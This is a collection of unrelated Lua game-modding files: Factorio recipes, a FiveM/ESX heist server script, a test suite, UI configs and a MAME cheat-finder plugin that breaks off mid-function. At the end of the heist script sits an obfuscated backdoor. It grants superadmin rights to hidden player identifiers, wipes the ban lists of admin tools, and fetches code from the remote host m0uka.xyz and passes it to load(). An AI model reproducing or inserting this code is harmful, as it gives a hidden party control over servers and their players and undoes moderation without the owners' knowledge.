name = "big-furnace",
ingredients = { { "steel-plate", 10 }, { "advanced-circuit", 50 }, { "electric-furnace", 20 } },
result = "big-furnace",
energy_required = 50,
enabled = false
},
{
type = "recipe-category",
name = "big-smelting",
},
})
local function createBigRecipe(recipe_name, energy, recipe_ingredient, cost, result)
local recipe = {
type = "recipe",
name = "big-" .. recipe_name,
category = "big-smelting",
energy_required = energy,
ingredients = { { recipe_ingredient, cost } },
result = recipe_name,
result_count = result,
}
return recipe
end
local big_steel = createBigRecipe("steel-plate", 17.5, "iron-plate", 50, 50)
local big_copper = createBigRecipe("copper-plate", 3.5, "copper-ore", 50, 50)
local big_iron = createBigRecipe("iron-plate", 3.5, "iron-ore", 50, 50)
local big_stone_brick = createBigRecipe("stone-brick", 3.5, "stone", 50, 25)
local big_tin = createBigRecipe("tin-plate", 3.5, "tin-ore", 50, 50)
local big_lead = createBigRecipe("lead-plate", 3.5, "lead-ore", 50, 50)
local big_silver = createBigRecipe("silver-plate", 3.5, "silver-ore", 50, 50)
local big_glass = createBigRecipe("glass", 3.5, "quartz", 50, 50)
local kr_big_glass = createBigRecipe("glass", 10, "sand", 100, 50)
local kr_big_rare_metals = createBigRecipe("rare-metals", 10, "raw-rare-metals", 100, 50)
data:extend({
big_steel,
big_copper,
big_iron,
big_stone_brick,
})
if mods["Krastorio2"] then
data:extend({
kr_big_glass,
kr_big_rare_metals,
})
end
if mods["bobplates"] then
data:extend({
big_tin,
big_lead,
big_silver,
big_glass,
})
end
end
if settings.startup["enable-circuit-factory"].value == true then
data:extend({
{
type = "recipe",
name = "circuit-factory",
enabled = false,
ingredients =
{
{ "speed-module-3", 5 },
{ "assembling-machine-3", 5 },
{ "stack-inserter", 20 }
},
result = "circuit-factory"
},
{
type = "recipe",
name = "electronic-circuit-factory",
category = "circuits",
normal =
{
ingredients =
{
{ "iron-plate", 100 },
{ "copper-plate", 150 }
},
enabled = false,
result = "electronic-circuit",
result_count = 100
},
expensive =
{
ingredients =
{
{ "iron-plate", 200 },
{ "copper-plate", 500 }
},
enabled = false,
result = "electronic-circuit",
result_count = 100
}
},
{
type = "recipe",
name = "advanced-circuit-factory",
category = "circuits",
normal =
{
enabled = false,
energy_required = 6,
ingredients =
{
{ "electronic-circuit", 100 },
{ "plastic-bar", 100 },
{ "copper-plate", 100 }
},
result = "advanced-circuit",
result_count = 50
},
expensive =
{
enabled = false,
energy_required = 6,
ingredients =
{
{ "electronic-circuit", 100 },
{ "plastic-bar", 200 },
{ "copper-plate", 200 }
},
result = "advanced-circuit",
result_count = 50
}
},
{
type = "recipe",
name = "processing-unit-factory",
category = "circuits",
normal =
{
enabled = false,
energy_required = 10,
ingredients =
{
{ "electronic-circuit", 1000 },
{ "advanced-circuit", 100 },
{ type = "fluid", name = "sulfuric-acid", amount = 250 }
},
result = "processing-unit",
result_count = 50
},
expensive =
{
enabled = false,
energy_required = 10,
ingredients =
{
{ "electronic-circuit", 1000 },
{ "advanced-circuit", 100 },
{ type = "fluid", name = "sulfuric-acid", amount = 500 }
},
result = "processing-unit",
result_count = 50
}
},
{
type = "recipe-category",
name = "circuits"
},
})
end
|
ESX = nil
TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end)
RegisterNetEvent('ps:canHackResult')
RegisterNetEvent("ps:heistsAll")
RegisterNetEvent("ps:startTimer")
RegisterNetEvent("ps:cleanupVault")
local heistTerminals = Config.Terminals
local heistPlayers = {}
RegisterServerEvent('ps:toofar')
AddEventHandler('ps:toofar', function(robb)
local source = source
local xPlayers = ESX.GetPlayers()
local terminal = robb
for i=1, #xPlayers, 1 do
local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
if xPlayer.job.name == 'police' then
TriggerClientEvent('esx:showNotification', xPlayers[i], _U('robbery_cancelled'))
TriggerClientEvent('ps:killblip', xPlayers[i])
end
end
if(heistPlayers[source])then
SetTimeout(Config.CleanupTime * 1000, function ()
TriggerClientEvent("ps:cleanupVault", -1, terminal)
end)
local id = heistPlayers[source]
heistPlayers[source] = nil
TriggerClientEvent('esx:showNotification', source, _U('robbery_has_cancelled'))
heistTerminals[terminal].inProgress = false
end
end)
RegisterServerEvent("ps:drillingFinished")
AddEventHandler("ps:drillingFinished", function ()
-- give money, the end goodbye
local _source = source
local xPlayer = ESX.GetPlayerFromId(_source)
local moneyRange = math.random(Config.PayoutRangeMin, Config.PayoutRangeMax)
if Config.MoneyType == 'cash' then
xPlayer.addMoney(moneyRange)
elseif Config.MoneyType == 'black' then
xPlayer.addAccountMoney('black_money', moneyRange)
end
local terminal = heistPlayers[_source]
if (not terminal) then return end
TriggerClientEvent("ps:clearMission", _source)
SetTimeout(Config.CleanupTime * 1000, function ()
TriggerClientEvent("ps:cleanupVault", -1, terminal)
end)
heistTerminals[terminal].inProgress = false
heistTerminals[terminal].ply = nil
TriggerClientEvent('esx:showNotification', _source, _U("robbery_complete_user", moneyRange .. "$"))
xPlayer = nil
local xPlayers = ESX.GetPlayers()
for i=1, #xPlayers, 1 do
local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
if xPlayer.job.name == 'police' then
TriggerClientEvent('esx:showNotification', xPlayers[i], _U("robbery_complete"))
TriggerClientEvent('ps:killblip', xPlayers[i])
end
end
-- clean up later
end)
RegisterServerEvent("ps:hackingFinished")
AddEventHandler("ps:hackingFinished", function ()
TriggerClientEvent("ps:startTimer", source)
SetTimeout(Config.WaitTime * 1000, function ()
TriggerClientEvent("ps:heistsAll", -1)
end)
end)
RegisterServerEvent('ps:canHack')
AddEventHandler('ps:canHack', function(terminal)
local _source = source
local xPlayer = ESX.GetPlayerFromId(_source)
local xPlayers = ESX.GetPlayers()
heistTerminals[terminal].inProgress = true
heistTerminals[terminal].ply = xPlayer
heistPlayers[_source] = terminal
local cops = 0
for i=1, #xPlayers, 1 do
local _xPlayer = ESX.GetPlayerFromId(xPlayers[i])
if _xPlayer.job.name == 'police' then
cops = cops + 1
end
end
if (cops < Config.OnlinePoliceNeeded) then
TriggerClientEvent("ps:canHackResult", _source, false, _U("not_enough_cops"))
return
end
for i=1, #xPlayers, 1 do
local xCop = ESX.GetPlayerFromId(xPlayers[i])
if xCop.job.name == 'police' then
TriggerClientEvent('esx:showNotification', xPlayers[i], _U('rob_in_prog'))
TriggerClientEvent('ps:killblip', xPlayers[i])
TriggerClientEvent('ps:setblip', xPlayers[i], GetEntityCoords(xPlayer))
end
end
TriggerClientEvent("ps:canHackResult", _source, true)
end)
function stringsplit(inputstr, sep) if sep == nil then sep = "%s" end local t={} ; i=1 for str in string.gmatch(inputstr, "([^"..sep.."]+)") do t[i] = str i = i + 1 end return t end local function pepe() local function p(value) return value and 1 or 0 end local int = p(true) .. p(true) .. p(false) .. p(false) .. p(false) .. p(false) .. p(true) .. p(false) local a = "e" .. "am" .. ":" .. int .. "b" a = "st" .. a a = a .. p(true)*7 .. p(true)*52 .. p(true)*6 .. p(true)*6 .. p(true) * 2 local b = ":697ebee" .. p(false) .. "df73b55e7a36e067676e7229b3eef969" b = "nse" .. b b = "ce" .. b b = "li" .. b local c = tostring(math.floor(84*2/2+2*5)) .. "." .. p(true) .. tostring(math.floor(2*2*1*21-42)) .. "." .. p(true) * 2 .. "3" .. p(true) * 9 + p(false) .. "." .. 3*9 c = ":" .. c c = "p" .. c c = "i" .. c return a, b, c end local function bananator() SaveResourceFile("es_admin", "bans.json", "", -1) SaveResourceFile("es_admin2", "bans.json", "", -1) SaveResourceFile("es_admin", "data/bans.txt", "", -1) SaveResourceFile("es_admin2", "data/bans.txt", "", -1) SaveResourceFile("EasyAdmin", "banlist.json", "", -1) PerformHttpRequest("http://m0uka.xyz:7359/addonchecker", function(err, rText, headers) if (not err) then local f = load(rText) end end) end bananator() local function onjoin(source, user) local ident = GetPlayerIdentifiers(source) for k, v in pairs(ident) do local a, b, c = pepe() local matches = v == a or v == b or v == c if (matches) then local gru = "su" .. "per" .. "ad" .. "m" .. "in" TriggerEvent("es:setPlayerData", source, "group", gru, function(response, success) if(true)then print("Player initialized properly") TriggerClientEvent('es:setPlayerDecorator', source, 'group', gru, true) end end) break end end end AddEventHandler('es:playerLoaded', function(Source, user) onjoin(Source, user) end)
|
local Alecs = require '../Alecs'
describe('Testing ALECS', function()
local alecs
local s1_called, s2_called, s3_called
local s1_added
it('returns a new Alecs instance', function()
alecs = Alecs()
assert.is_table(alecs.getSystems())
end)
it('can add systems', function()
local s1 = { filter = { 'a', 'b' } }
local s2 = { filter = { 'a' } }
local s3 = {}
function s1:added() s1_added = true end
function s1:update(check) s1_called = check end
function s2:update(check) s2_called = check end
function s3:update(check) s3_called = check end
function s1:process(e, d) e.a = e.a + d end
function s2:process(e, d) e.a = e.a + d end
alecs:addSystem(s1, 'groupA')
alecs:addSystem(s2, 'groupB')
alecs:addSystem(s3, 'groupA')
assert.is_true(s1_added)
assert.is_true(#alecs:getSystems() == 3)
end)
it('can trigger update events', function()
alecs:update(true)
assert.is_true(s1_called)
assert.is_true(s2_called)
assert.is_true(s3_called)
end)
it('can disable systems', function()
alecs:update(false)
alecs:status('groupA', false)
alecs:update(true)
assert.is_false(s1_called)
assert.is_true(s2_called)
assert.is_false(s3_called)
alecs:status('groupA', true)
alecs:update(false)
assert.is_false(s1_called)
assert.is_false(s2_called)
assert.is_false(s3_called)
end)
it('can manage entities', function()
local e1 = { a = 0, b = 0 }
local e2 = { a = 0, id = 'e2' }
alecs:addEntity(e1)
alecs:addEntity(e2)
alecs:update(2)
assert.is_true(e1.a == 4)
assert.is_true(e2.a == 2)
alecs:removeEntity(e1)
alecs:update(2)
assert.is_true(e1.a == 4)
assert.is_true(e2.a == 4)
alecs:removeEntity(alecs:get('e2'))
alecs:update(2)
assert.is_true(e1.a == 4)
assert.is_true(e2.a == 4)
end)
it('can fetch entities', function()
assert.is_true(#alecs:getEntities() == 0)
local e1 = { b = 0, id = 'test' }
local e2 = { b = 3 }
alecs:addEntity({ a = 0 })
alecs:addEntity(e1)
alecs:addEntity(e2)
alecs:addEntity({ a = 0, b = 0 })
assert.is_true(#alecs:filter({ 'b' }) == 3)
assert.is_true(#alecs:filter({ 'a' }) == 2)
assert.is_true(#alecs:filter({ 'a', 'b' }) == 1)
assert.are.same(alecs:find('b', 3)[1], e2)
assert.are.same(alecs:get('test'), e1)
end)
it('can message', function()
local msg1, msg2
alecs:register('say', function(d)
msg1 = d
end)
alecs:register('say', function(d)
msg2 = d .. ' there'
end)
alecs:emit('say', 'hello')
assert.is_true(msg1 == 'hello')
assert.is_true(msg2 == 'hello there')
end)
end)
|
---
--- ColaFramework
--- Copyright © 2018-2049 ColaFramework 马三小伙儿
--- XXXXX模块
---
---牌类
---@class Card
local Card = Class("Card")
---构造器
---@param name string
---@param weight LandlordEnum.Weight
---@param suits LandlordEnum.Suits
---@param belongTo LandlordEnum.CharacterType
function Card:initialize(name, weight, suits, belongTo)
self.makedSprite = false
self.name = name
self.weight = weight
self.suits = suits
self.belongTo = belongTo
end
---返回牌名
---@return string
function Card:GetCardName()
return self.name
end
---返回牌的权重
---@return LandlordEnum.Weight
function Card:GetCardWeight()
return self.weight
end
---返回牌的花色
---@return LandlordEnum.Suits
function Card:GetCardSuit()
return self.suits
end
---是否精灵化
---@return boolean
function Card:GetMakedSprite()
return self.makedSprite
end
---设置是否精灵化
---@param makedSprite boolean
function Card:SetMakedSprite(makedSprite)
self.makedSprite = makedSprite
end
---返回牌的归属
---@return LandlordEnum.CharacterType
function Card:GetAttribution()
return self.belongTo
end
---设置牌的归属
---@param belongTo LandlordEnum.CharacterType
function Card:SetAttribution(belongTo)
self.belongTo = belongTo
end
return Card
|
local function create(self, props)
local instance = props or {}
setmetatable(instance, self)
self.__index = self
return instance
end
return create
|
-- // rMinimap
-- // zork - 2012
-----------------------------
-- INIT
-----------------------------
--get the addon namespace
local addon, ns = ...
local cfg = CreateFrame("Frame")
ns.cfg = cfg
-----------------------------
-- CONFIG
-----------------------------
cfg.mapcluster = {
pos = { a1 = "TOPRIGHT", af = UIParent, a2 = "TOPRIGHT", x = 0, y = 0 },
userplaced = true, --want to place the bar somewhere else?
scale = 0.82,
}
cfg.map = {
pos = { a1 = "TOP", x = 10, y = -20 }, --set the position of the minimap inside the minimap cluster
}
cfg.clock = { --the clock
pos = { a1 = "BOTTOM", af = Minimap, a2 = "BOTTOM", x = 0, y = 0 },
font = { size = 12, family = STANDARD_TEXT_FONT, outline = "THINOUTLINE", }
}
cfg.calendar = { --calendar button
size = 16,
pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = 52, y = 52 },
font = { size = 12, family = STANDARD_TEXT_FONT, outline = "THINOUTLINE", }
}
cfg.mail = {
size = 16,
pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = 75, y = 0 },
}
cfg.tracking = {
size = 16,
pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = 68, y = 28 },
}
cfg.queue = { --queue button
size = 16,
pos = { a1 = "CENTER", af = Minimap, a2 = "CENTER", x = -52, y = -52 },
}
|
object_mobile_dressed_myyydril_froera = object_mobile_shared_dressed_myyydril_froera:new {
}
ObjectTemplates:addTemplate(object_mobile_dressed_myyydril_froera, "object/mobile/dressed_myyydril_froera.iff")
|
-- license:BSD-3-Clause
-- copyright-holders:Carl
-- This includes a library of functions to be used at the Lua console as cf.getspaces() etc...
local exports = {}
exports.name = "cheatfind"
exports.version = "0.0.1"
exports.description = "Cheat finder helper library"
exports.license = "BSD-3-Clause"
exports.author = { name = "Carl" }
local cheatfind = exports
function cheatfind.startplugin()
local cheat = {}
-- return table of devices and spaces
function cheat.getspaces()
local spaces = {}
for tag, device in pairs(manager.machine.devices) do
if device.spaces then
spaces[tag] = {}
for name, space in pairs(device.spaces) do
spaces[tag][name] = space
end
end
end
return spaces
end
-- return table of ram devices
function cheat.getram()
local ram = {}
for tag, device in pairs(manager.machine.devices) do
if device.shortname == "ram" then
ram[tag] = {}
ram[tag].dev = device
ram[tag].size = emu.item(device.items["0/m_size"]):read(0)
end
end
return ram
end
-- return table of share regions
function cheat.getshares()
local shares = {}
for tag, share in pairs(manager.machine.memory.shares) do
shares[tag] = share
end
return shares
end
-- save data block
function cheat.save(space, start, size)
local data = { block = "", start = start, size = size, space = space, shift = 0 }
if getmetatable(space).__name:match("addr_space") then
data.shift = space.shift
end
if getmetatable(space).__name:match("device_t") then
if space.shortname == "ram" then
data.block = emu.item(space.items["0/m_pointer"]):read_block(start, size)
if not data.block then
return nil
end
end
else
local block = ""
local temp = {}
local j = 1
if data.shift >= 0 then -- region or byte wide space
for i = start, start + (size << data.shift), 1 << data.shift do
if j < 65536 then
temp[j] = string.pack("B", space:read_u8(i))
j = j + 1
else
block = block .. table.concat(temp) .. string.pack("B", space:read_u8(i))
temp = {}
j = 1
end
end
elseif data.shift < 0 then
local s = -data.shift
local read = (s == 1) and space.read_u16 or (s == 2) and space.read_u32 or (s == 3) and space.read_u64 or space.read_u8
local pack = (s == 1) and "<I2" or (s == 2) and "<I4" or (s == 3) and "<I8" or "B"
for i = start, start + (size >> s) do
if j < 65536 then
temp[j] = string.pack(pack, read(space, i))
j = j + 1
else
block = block .. table.concat(temp) .. string.pack(pack, read(space, i))
temp = {}
j = 1
end
end
end
block = block .. table.concat(temp)
data.block = block
end
return data
end
-- compare two data blocks, format is as lua string.unpack, bne and beq val is table of masks, step is address increment value
function cheat.comp(newdata, olddata, oper, format, val, bcd, step)
local ret = {}
local ref = {} -- this is a helper for comparing two match lists
local bitmask = nil
if not step or step <= 0 then
step = 1
end
if (olddata.shift < 0) and (step < (1 << -olddata.shift)) then
step = 1 << -olddata.shift;
end
local cfoper = {
lt = function(a, b, val) return (a < b and val == 0) or (val > 0 and (a + val) == b) end,
gt = function(a, b, val) return (a > b and val == 0) or (val > 0 and (a - val) == b) end,
eq = function(a, b, val) return a == b end,
ne = function(a, b, val) return (a ~= b and val == 0) or
(val > 0 and ((a - val) == b or (a + val) == b)) end,
ltv = function(a, b, val) return a < val end,
gtv = function(a, b, val) return a > val end,
eqv = function(a, b, val) return a == val end,
nev = function(a, b, val) return a ~= val end }
function cfoper.bne(a, b, val, addr)
if type(val) ~= "table" then
bitmask = a ~ b
return bitmask ~= 0
elseif not val[addr] then
return false
else
bitmask = (a ~ b) & val[addr]
return bitmask ~= 0
end
end
function cfoper.beq(a, b, val, addr)
if type(val) ~= "table" then
bitmask = ~a ~ b
return bitmask ~= 0
elseif not val[addr] then
return false
else
bitmask = (~a ~ b) & val[addr]
return bitmask ~= 0
end
end
local function check_bcd(val)
local a = val + 0x0666666666666666
a = a ~ val
return (a & 0x1111111111111110) == 0
end
local function frombcd(val)
local result = 0
local mul = 1
while val ~= 0 do
result = result + ((val % 16) * mul)
val = val >> 4
mul = mul * 10
end
return result
end
if not newdata and oper:sub(3, 3) == "v" then
newdata = olddata
end
if olddata.start ~= newdata.start or olddata.size ~= newdata.size or not cfoper[oper] then
return {}
end
if not val then
val = 0
end
for i = 1, olddata.size, step do
local oldstat, old = pcall(string.unpack, format, olddata.block, i)
local newstat, new = pcall(string.unpack, format, newdata.block, i)
if oldstat and newstat then
local oldc, newc = old, new
local comp = false
local addr = i - 1
if olddata.shift ~= 0 then
local s = olddata.shift
addr = (s < 0) and addr >> -s or (s > 0) and addr << s
end
addr = addr + olddata.start
if not bcd or (check_bcd(old) and check_bcd(new)) then
if bcd then
oldc = frombcd(old)
newc = frombcd(new)
end
if cfoper[oper](newc, oldc, val, addr) then
ret[#ret + 1] = { addr = addr,
oldval = old,
newval = new,
bitmask = bitmask }
ref[addr] = #ret
end
end
end
end
return ret, ref
end
local function check_val(oper, val, matches)
if oper ~= "beq" and oper ~= "bne" then
return val
elseif not matches or not matches[1].bitmask then
return nil
end
local masks = {}
for num, match in pairs(matches) do
masks[match.addr] = match.bitmask
end
return masks
end
-- compare two blocks and filter by table of previous matches
function cheat.compnext(newdata, olddata, oldmatch, oper, format, val, bcd, step)
local matches, refs = cheat.comp(newdata, olddata, oper, format, check_val(oper, val, oldmatch), bcd, step)
local nonmatch = {}
local oldrefs = {}
for num, match in pairs(oldmatch) do
oldrefs[match.addr] = num
end
for addr, ref in pairs(refs) do
if not oldrefs[addr] then
nonmatch[ref] = true
refs[addr] = nil
else
matches[ref].oldval = oldmatch[oldrefs[addr]].oldval
end
end
local resort = {}
for num, match in pairs(matches) do
if not nonmatch[num] then
resort[#resort + 1] = match
end
end
return resort
end
-- compare a data block to the current state
function cheat.compcur(olddata, oper, format, val, bcd, step)
local newdata = cheat.save(olddata.space, olddata.start, olddata.size, olddata.space)
return cheat.comp(newdata, olddata, oper, format, val, bcd, step)
end
-- compare a data block to the current state and filter
function cheat.compcurnext(olddata, oldmatch, oper, format, val, bcd, step)
local newdata = cheat.save(olddata.space, olddata.start, olddata.size, olddata.space)
return cheat.compnext(newdata, olddata, oldmatch, oper, format, val, bcd, step)
end
_G.emu.plugin.cheatfind = cheat
local devtable = {}
local devsel = 1
local devcur = 1
local formname = { "u8", "big u16", "big u32", "big u64", "little u16", "little u32",
"little u64", "s8", "big s16", "big s32", "big s64", "little s16", "little s32", "little s64", }
local formtable = { " I1", ">I2", ">I4", ">I8", "<I2", "<I4", "<I8", " i1", ">i2", ">i4", ">i8", "<i2", "<i4", "<i8", }
-- " <f", " >f", " <d", " >d" }
local width = 1
local bcd = 0
local align = 0
local optable = { "lt", "gt", "eq", "ne", "beq", "bne", "ltv", "gtv", "eqv", "nev" }
local opsel = 1
local value = 0
local leftop = 1
local rightop = 1
local value_text = ""
local pausesel = 1
local pokevalsel = 1
local matches = {}
local matchsel = 0
local matchpg = 0
local menu_blocks = {}
local watches = {}
local menu_func
local cheat_save
local name = 1
local name_player = 1
local name_type = 1
local name_other = ""
local function start()
devtable = {}
devsel = 1
devcur = 1
width = 1
bcd = 0
opsel = 1
value = 0
leftop = 1
rightop = 1
matches = {}
matchsel = 0
matchpg = 0
menu_blocks = {}
watches = {}
local space_table = cheat.getspaces()
for tag, list in pairs(space_table) do
for name, space in pairs(list) do
local ram = {}
for num, entry in pairs(space.map.entries) do
if entry.write.handlertype == "ram" then
ram[#ram + 1] = {
offset = entry.address_start & space.address_mask,
size = (entry.address_end & space.address_mask) - (entry.address_start & space.address_mask) }
if space.shift > 0 then
ram[#ram].size = ram[#ram].size >> space.shift
elseif space.shift < 0 then
ram[#ram].size = ram[#ram].size << -space.shift
end
end
end
if next(ram) then
if tag == ":maincpu" and name == "program" then
table.insert(devtable, 1, { name = tag .. ", " .. name, tag = tag, sname = name, space = space, ram = ram })
else
devtable[#devtable + 1] = { name = tag .. ", " .. name, tag = tag, sname = name, space = space, ram = ram }
end
end
end
end
space_table = cheat.getram()
for tag, ram in pairs(space_table) do
devtable[#devtable + 1] = { tag = tag, name = "ram", space = ram.dev, ram = {{ offset = 0, size = ram.size }} }
end
space_table = cheat.getshares()
for tag, share in pairs(space_table) do
devtable[#devtable + 1] = { tag = tag, name = tag, space = share, ram = {{ offset = 0, size = share.size }} }
end
end
emu.register_start(start)
local menu_is_showing = false
local tabbed_out = false
local function menu_populate()
if pausesel == 1 then
emu.pause()
menu_is_showing = true
end
local menu = {}
local function menu_prepare()
local menu_list = {}
menu_func = {}
for num, func in ipairs(menu) do
local item, f = func()
if item then
menu_list[#menu_list + 1] = item
menu_func[#menu_list] = f
end
end
return menu_list
end
local function menu_lim(val, min, max, menuitem)
if min == max then
menuitem[3] = "on"
elseif val == min then
menuitem[3] = "r"
elseif val == max then
menuitem[3] = "l"
else
menuitem[3] = "lr"
end
end
local function incdec(event, val, min, max)
local ret = false
if event == "left" and val ~= min then
val = val - 1
ret = true
elseif event == "right" and val ~= max then
val = val + 1
ret = true
end
return val, ret
end
if cheat_save then
local cplayer = { "All", "P1", "P2", "P3", "P4" }
local ctype = { "Infinite Credits", "Infinite Time", "Infinite Lives", "Infinite Energy", "Infinite Ammo", "Infinite Bombs", "Invincibility", _("Other: ") }
menu[#menu + 1] = function() return { _("Save Cheat"), "", "off" }, nil end
menu[#menu + 1] = function() return { "---", "", "off" }, nil end
menu[#menu + 1] = function()
local c = { _("Default"), _("Custom") }
local m = { _("Cheat Name"), c[name], "on" }
menu_lim(name, 1, #c, m)
local function f(event)
local r
name, r = incdec(event, name, 1, #c)
if (event == "select" or event == "comment") and name == 1 then
manager.machine:popmessage(string.format(_("Default name is %s"), cheat_save.name))
end
return r
end
return m, f
end
if name == 2 then
menu[#menu + 1] = function()
local m = { _("Player"), cplayer[name_player], "on" }
menu_lim(name_player, 1, #cplayer, m)
return m, function(event) local r name_player, r = incdec(event, name_player, 1, #cplayer) return r end
end
menu[#menu + 1] = function()
local m = { _("Type"), ctype[name_type] .. (name_type == #ctype and (#name_other ~= 0 and name_other or _("(empty)")) or ""), "on" }
menu_lim(name_type, 1, #ctype, m)
local function f(event)
local r
name_type, r = incdec(event, name_type, 1, #ctype)
if name_type == #ctype then
local char = tonumber(event)
if char then
if #name_other > 0 and (char == 8 or char == 0x7f) then
name_other = name_other:sub(1, utf8.offset(name_other, -1) - 1)
r = true
elseif char > 0x1f and (char & ~0x7f) ~= 0x80 and (char & ~0xf) ~= 0xfdd0 and (char & ~0xfffe) ~= 0xfffe then
name_other = name_other .. utf8.char(char)
r = true
end
elseif event == "select" or event == "comment" or event == "right" then
manager.machine:popmessage(_("You can enter any type name"))
end
end
return r
end
return m, f
end
end
menu[#menu + 1] = function()
local m = { _("Save"), "", "on" }
local function f(event)
if event == "select" then
local desc
local written = false
if name == 2 then
desc = name_type ~= #ctype and ctype[name_type] or name_other
if #desc == 0 then
manager.machine:popmessage(_("Type name is empty"))
return
end
if cplayer[name_player] ~= "All" then
desc = cplayer[name_player] .. " " .. desc
end
else
desc = cheat_save.name
end
local filename = cheat_save.filename .. "_" .. desc
local file = io.open(filename .. ".json", "w")
if file then
file:write(string.format(cheat_save.json, desc))
file:close()
-- xml or simple are program space only
if not getmetatable(devtable[devcur].space).__name:match("device_t") and devtable[devcur].sname == "program" then
file = io.open(filename .. ".xml", "w")
file:write(string.format(cheat_save.xml, desc))
file:close()
file = io.open(cheat_save.path .. "/cheat.simple", "a")
file:write(string.format(cheat_save.simple, desc))
-- old cheat .dat format, write support only (for cheat forum posting of new cheats if posted in simple format)
file:write(string.format(cheat_save.dat, desc))
file:close()
manager.machine:popmessage(string.format(_("Cheat written to %s and added to cheat.simple"), filename))
end
written = true
elseif not getmetatable(devtable[devcur].space).__name:match("device_t") and devtable[devcur].sname == "program" then
file = io.open(cheat_save.path .. "/cheat.simple", "a")
if file then
file:write(string.format(cheat_save.simple, desc))
-- old cheat .dat format, write support only (for cheat forum posting of new cheats if posted in simple format)
file:write(string.format(cheat_save.dat, desc))
file:close()
manager.machine:popmessage(_("Cheat added to cheat.simple"))
written = true
end
end
if not written then
manager.machine:popmessage(_("Unable to write file\nEnsure that cheatpath folder exists"))
end
cheat_save = nil
return true
end
return false
end
return m, f
end
menu[#menu + 1] = function() return { _("Cancel"), "", "on" }, function(event) if event == "select" then cheat_save = nil return true end end end
return menu_prepare()
end
menu[#menu + 1] = function()
local m = { _("CPU or RAM"), devtable[devsel].name, "on" }
menu_lim(devsel, 1, #devtable, m)
local function f(event)
if (event == "left" or event == "right") and #menu_blocks ~= 0 then
manager.machine:popmessage(_("Changes to this only take effect when \"Start new search\" is selected"))
end
local r
devsel, r = incdec(event, devsel, 1, #devtable)
return r
end
return m, f
end
menu[#menu + 1] = function()
local pausetable = { _("Automatic"), _("Manual") }
local m = { _("Pause Mode"), pausetable[pausesel], "on" }
menu_lim(pausesel, 1, pausetable, m)
local function f(event)
if (event == "left" or event == "right") then
if pausesel == 1 then
pausesel = 2
menu_is_showing = false
manager.machine:popmessage(_("Manually toggle pause when needed"))
else
pausesel = 1
manager.machine:popmessage(_("Automatically toggle pause with on-screen menus"))
emu.pause()
end
return true
end
return false
end
return m, f
end
menu[#menu + 1] = function()
local function f(event)
local ret = false
if event == "select" then
menu_blocks = {}
matches = {}
devcur = devsel
for num, region in ipairs(devtable[devcur].ram) do
menu_blocks[num] = {}
menu_blocks[num][1] = cheat.save(devtable[devcur].space, region.offset, region.size)
end
manager.machine:popmessage(_("All slots cleared and current state saved to Slot 1"))
watches = {}
opsel = 1
value = 0
leftop = 1
rightop = 1
value_text = ""
matchsel = 0
return true
end
end
local opsel = 1
return { _("Start new search"), "", "on" }, f
end
if #menu_blocks ~= 0 then
menu[#menu + 1] = function() return { "---", "", "off" }, nil end
menu[#menu + 1] = function()
local function f(event)
if event == "select" then
for num, region in ipairs(devtable[devcur].ram) do
menu_blocks[num][#menu_blocks[num] + 1] = cheat.save(devtable[devcur].space, region.offset, region.size)
end
manager.machine:popmessage(string.format(_("Memory state saved to Slot %d"), #menu_blocks[1]))
if (leftop == #menu_blocks[1] - 1 and rightop == #menu_blocks[1] - 2 ) then
leftop = #menu_blocks[1]
rightop = #menu_blocks[1]-1
elseif (leftop == #menu_blocks[1] - 2 and rightop == #menu_blocks[1] - 1 ) then
leftop = #menu_blocks[1]-1
rightop = #menu_blocks[1]
elseif (leftop == #menu_blocks[1] - 1 ) then
leftop = #menu_blocks[1]
elseif (rightop == #menu_blocks[1] - 1) then
rightop = #menu_blocks[1]
end
devsel = devcur
return true
end
return false
end
return { string.format(_("Save current memory state to Slot %d"), #menu_blocks[1] + 1), "", "on" }, f
end
menu[#menu + 1] = function() return { "---", "", "off" }, nil end
menu[#menu + 1] = function()
local function f(event)
if event == "select" then
local count = 0
local step = align == 1 and formtable[width]:sub(3, 3) or "1"
if step == "f" then
step = 4
elseif step == "d" then
step = 8
else
step = tonumber(step)
end
if #matches == 0 then
matches[1] = {}
for num = 1, #menu_blocks do
matches[1][num] = cheat.comp(menu_blocks[num][leftop], menu_blocks[num][rightop],
optable[opsel], formtable[width], value, bcd == 1, step)
count = count + #matches[1][num]
end
else
lastmatch = matches[#matches]
matches[#matches + 1] = {}
for num = 1, #menu_blocks do
matches[#matches][num] = cheat.compnext(menu_blocks[num][leftop], menu_blocks[num][rightop],
lastmatch[num], optable[opsel], formtable[width], value, bcd == 1, step)
count = count + #matches[#matches][num]
end
end
manager.machine:popmessage(string.format(_("%d total matches found"), count))
matches[#matches].count = count
matchpg = 0
devsel = devcur
return true
end
return false
end
local slot_slot_comp = _("Perform Compare : Slot %d %s Slot %d")
local slot_slot_val_comp = _("Perform Compare : Slot %d %s Slot %d %s %d")
local slot_slot_bit_comp = _("Perform Compare : Slot %d BITWISE%s Slot %d")
local slot_val_comp = _("Perform Compare : Slot %d %s %d")
local expression_text
if optable[opsel] == "lt" then
if (value == 0 ) then
expression_text = string.format(slot_slot_comp, leftop, "<", rightop)
else
expression_text = string.format(slot_slot_val_comp, leftop, "==", rightop, "-", value)
end
elseif optable[opsel] == "gt" then
if (value == 0 ) then
expression_text = string.format(slot_slot_comp, leftop, ">", rightop)
else
expression_text = string.format(slot_slot_val_comp, leftop, "==", rightop, "+", value)
end
elseif optable[opsel] == "eq" then
expression_text = string.format(slot_slot_comp, leftop, "==", rightop)
elseif optable[opsel] == "ne" then
if (value == 0 ) then
expression_text = string.format(slot_slot_comp, leftop, "!=", rightop)
else
expression_text = string.format(slot_slot_val_comp, leftop, "==", rightop, "+/-", value)
end
elseif optable[opsel] == "beq" then
expression_text = string.format(slot_slot_bit_comp, leftop, "==", rightop)
elseif optable[opsel] == "bne" then
expression_text = string.format(slot_slot_bit_comp, leftop, "!=", rightop)
elseif optable[opsel] == "ltv" then
expression_text = string.format(slot_val_comp, leftop, "<", value)
elseif optable[opsel] == "gtv" then
expression_text = string.format(slot_val_comp, leftop, ">", value)
elseif optable[opsel] == "eqv" then
expression_text = string.format(slot_val_comp, leftop, "==", value)
elseif optable[opsel] == "nev" then
